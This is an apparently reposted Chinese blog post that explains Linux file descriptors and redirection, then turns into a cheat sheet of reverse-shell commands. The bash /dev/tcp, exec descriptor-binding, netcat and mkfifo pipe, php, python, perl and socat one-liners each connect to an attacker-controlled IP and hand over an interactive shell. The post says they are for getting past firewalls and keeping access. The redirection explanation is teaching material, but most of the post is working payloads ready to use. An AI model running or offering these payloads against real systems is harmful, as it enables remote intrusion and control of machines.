zoukankan      html  css  js  c++  java
  • linux下的shell反弹

    linux下的shell反弹设计重定向,文件描述符等内容

    01 linux的文件描述符

    可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

    当Linux启动的时候会默认打开三个文件描述符,分别是:

    标准输入standard input 0 (默认设备键盘)
    标准输出standard output 1(默认设备显示器)
    错误输出:error output 2(默认设备显示器)

    下面引用先知社区对文件描述符的脑涂:

    文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

    一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

    (1)输入重定向 < <<
    (2)输出重定向 > >>

    对>&这个符号的含义理解:

    当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件

    当>&后面接文件描述符(0,1,2)时,表示将文件重定向至文件描述符(所代表的含义)

     02 Linux bash反弹shell解析

    反弹原因:网络环境(内网下短机器),防火墙受限(限制入站规则),权限维持(目标会更换域名,ip等)....

    bash反弹

    bash -i >&/dev/tcp/192.168.5.3/6666 0>&1

    bash -i  :即交互式bash,其中 -i参数表示产生交互式shell

    >&/dev/tcp/192.168.5.3/6666 : 建立tcp连接,并将标准输出和错误重定向到TCP连接,这里的/dev/tcp/192.168.5.3/6666其实是不存在的,因为linux系统下一切皆文件

    0>&1 :从TCP连接获取输入

    具体实验理解

    这里我们也做个试验 

    这里我们把bash的内容标准输出和标准错误输出都重定向到192.168.190.138/6666 

    攻击机nc监听:

    nc -lvp 6666

    目标机bash反弹

    bash -i >&/dev/tcp/192.168.5.3/6666 

    因为这里目标机把bash的输出重定向到攻击机的6666端口,所以任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

     

     我们再来试验一下

    攻击机还是nc监听 这次目标机器执行

    bash -i < /dev/tcp/192.168.5.3/6666

    这是把/dev/tcp/192.168.5.3/6666的标准输入重定向到目标机的bash

    这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

    攻击机执行whoami

    而回显 也就是目标机的输出还是在目标机的本机

    ok这里就很清楚了输出输入的重定向了

    bash反弹也就是结合上面两条命令:

    bash -i > /dev/tcp/192.168.5.3/6666 0>&1

    这时候我们的输入还是会在目标机 这时候我们多加一条2>&1 标准错误输入重定向到&1标准输入,也就是我们攻击机的6666端口

    bash -i > /dev/tcp/192.168.5.3/6666 0>&1 2>&1

    嘿嘿,这样我们的输入命令就不会显示在靶机上了

    03 常见反弹shell形式

    bash反弹

    bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
    bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
    这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别

    exec绑定反弹

    exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done
    0<&196;exec 196<>/dev/tcp/192.168.5.3/6666; sh <&196 >&196 2>&196

    nc反弹

    保证nc安装正确版本(存在-e选项就能直接反弹shell)

    nc -e /bin/sh 192.168.146.129 2333

    当然没有-e的情况下也可以实现反弹:

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

    类似的命令:

    mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    如果觉得很复杂 nc就算没有-e也可以利用管道符直接反弹

    nc -nvlp 6666
    
    nc -nvlp 7777

    连接

    nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

    php反弹shell

    使用php的exec函数执行方法反弹shell:

    php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

    使用php建立socket会话:

    php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

    反向连接:

    php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

    python反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.21.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    perl反弹:

    perl -e 'use Socket;$i="192.168.21.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    socat:

    socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.21.1:8080

    参考地址:https://www.cnblogs.com/-qing-/p/11247720.html

  • 相关阅读:
    Hadoop_10_12虚拟机01_虚拟机NAT方式联网【自己的亲测笔记】
    StringUtils中 isNotEmpty 和isNotBlank的区别【java字符串判空】
    SVM
    [python]小技巧集锦
    [机器学习&数据挖掘]SVM---核函数
    [机器学习&数据挖掘]SVM---软间隔最大化
    [机器学习]SVM---硬间隔最大化数学原理
    [机器学习&数据挖掘]朴素贝叶斯数学原理
    [机器学习&数据挖掘]机器学习实战决策树plotTree函数完全解析
    [机器学习]信息&熵&信息增益
  • 原文地址:https://www.cnblogs.com/xiaobai141/p/14133908.html
Copyright © 2011-2022 走看看